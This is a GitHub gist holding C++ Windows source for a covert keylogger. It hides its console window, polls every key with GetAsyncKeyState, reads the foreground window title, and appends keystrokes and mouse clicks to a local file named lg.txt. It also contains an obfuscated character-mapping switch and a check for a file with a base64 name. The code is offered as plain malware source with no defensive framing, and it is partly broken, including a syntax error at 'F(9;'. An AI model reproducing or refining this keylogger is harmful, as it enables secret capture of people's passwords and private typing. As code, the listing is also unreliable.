Skip to content

Instantly share code, notes, and snippets.

@komang4130
Created December 28, 2017 14:30
Show Gist options
  • Save komang4130/824fefd77b348dbf52094b9073a3827c to your computer and use it in GitHub Desktop.
Save komang4130/824fefd77b348dbf52094b9073a3827c to your computer and use it in GitHub Desktop.
#include <Windows.h>
#include <iostream>
#include <fstream>
#include <stdio.h>
#include <string>
using namespace std;
int C()
{
ifstream f("bm90aGluZw");
if ( f.is_open() )
{
f.close();
return 1;
}
return 0;
}
int F(int m)
{
switch(m)
{
case 33: return 0;
case 34: return 0;
case 35: return 0;
case 36: return 0;
case 37: return 0;
case 38: return 0;
case 39: return 0;
case 40: return 0;
case 41: return 0;
case 42: return 0;
case 43: return F(11);
case 44: return 0;
case 45: return F(7);
case 46: return 0;
case 47: return 0;
case 48: return 0;
case 49: return F(14);
case 50: return 0;
case 51: return F(1);
case 52: return F(9;
case 53: return 0;
case 54: return F(13);
case 55: return F(12);
case 56: return 0;
case 57: return 0;
case 58: return 0;
case 59: return 0;
case 60: return 0;
case 61: return 0;
case 62: return 0;
case 63: return 0;
case 64: return 0;
case 65: return 0;
case 66: return 0;
case 67: return 0;
case 68: return 0;
case 69: return 0;
case 70: return 0;
case 71: return 0;
case 72: return 0;
case 73: return 0;
case 74: return 0;
case 75: return 0;
case 76: return 0;
case 77: return 0;
case 78: return 0;
case 79: return 0;
case 80: return 0;
case 81: return 0;
case 82: return 0;
case 83: return F(0);
case 84: return 0;
case 85: return 0;
case 86: return 0;
case 87: return 0;
case 88: return 0;
case 89: return F(4);
case 90: return 0;
case 91: return 0;
case 92: return 0;
case 93: return 0;
case 94: return 0;
case 95: return F(3);
case 96: return 0;
case 97: return F(5);
case 98: return 0;
case 99: return 0;
case 100: return 0;
case 101: return F(2);
case 102: return 0;
case 103: return 0;
case 104: return F(6);
case 105: return 0;
case 106: return 0;
case 107: return 0;
case 108: return 0;
case 109: return 0;
case 110: return 0;
case 111: return 0;
case 112: return 0;
case 113: return 0;
case 114: return 0;
case 115: return F(8);
case 116: return 0;
case 117: return 0;
case 118: return 0;
case 119: return 0;
case 120: return 0;
case 121: return F(10);
case 122: return 0;
default: return 1;
}
return 0;
}
void W2L(LPCSTR text) //Write to l0g
{
ofstream logfile; //Create log file
logfile.open("lg.txt",fstream::app); //Open write for writing
logfile << text; //Write text to log file
logfile.close();
}
void S() {
HWND hWnd;
AllocConsole();
hWnd = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(hWnd, 0);
}
string T()
{
char wnd_title[256];
HWND hwnd = GetForegroundWindow();//Get handle of current windows
GetWindowText(hwnd,wnd_title,sizeof(wnd_title));
return wnd_title;
}
bool IL(int key) // Is char listed?
{
switch(key)
{
case VK_SPACE:
W2L(" ");
break;
case VK_RETURN:
W2L("\n");
break;
case VK_SHIFT:
W2L("SHIFT");
break;
case VK_BACK:
W2L("\b");
break;
case VK_RBUTTON:
W2L("RCLICK");
break;
case VK_LBUTTON:
W2L("LCLICK");
break;
default: return false;
}
}
int main()
{
FreeConsole();
char key;
while(1)
{
// sleep(10);
string a = T();
cout << a;
for (key=8;key<=255;key++)
{
if(GetAsyncKeyState(key) == -32767)
{
if(IL(key)==FALSE)
{
ofstream logfile;
logfile.open("lg.txt",fstream::app);
logfile << key;
logfile.close();
}
}
}
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment